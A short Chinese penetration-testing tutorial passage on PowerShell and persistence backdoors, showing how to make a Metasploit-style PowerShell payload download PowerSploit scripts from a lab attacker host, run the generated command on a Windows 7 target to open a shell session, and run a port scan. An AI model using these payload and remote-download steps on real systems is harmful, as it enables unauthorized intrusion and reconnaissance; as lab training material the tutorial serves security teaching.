6、Windows渗透测试：PowerShell脚本与持久化后门技术深度解析

Windows渗透测试：PowerShell脚本与持久化后门技术深度解析

1. 玩转PowerShell脚本

在开始深入使用各种PowerShell脚本之前，建议大家先花些时间熟悉相关命令，直到运用自如。接下来，我们将重点学习如何下载和使用PowerSploit脚本。

1.1 使用PowerSploit脚本

要让PowerShell有效载荷在会话创建时自动下载PowerSploit附带的脚本，我们可以通过设置有效载荷中的 LOAD_MODULES 变量来指定所需PowerShell脚本的位置。具体操作步骤如下：
1. 输入“exit”关闭当前活动的shell。
2. 输入“set LOAD_MODULES http://192.168.1.39/powersploit/Recon/Invoke-Portscan.ps1”。
3. 输入“re - run”，使用新设置重新运行漏洞利用程序。
4. 将生成的PowerShell命令复制到Windows 7系统中运行，即可获得一个新的会话。
5. 连接到会话2。

此时，你会看到PowerShell提示符上方显示“Loading modules”，这表明shell已自动下载了我们指定的PowerShell脚本。每个Powersploit shell文件都包含了详细的描述和使用示例，你可以查看这些文件来了解其工作原理。例如， Invoke - Portscan.ps1 脚本的一个简单使用示例如下：

Invoke-Portscan -Hosts 192.168.1.1 -T 4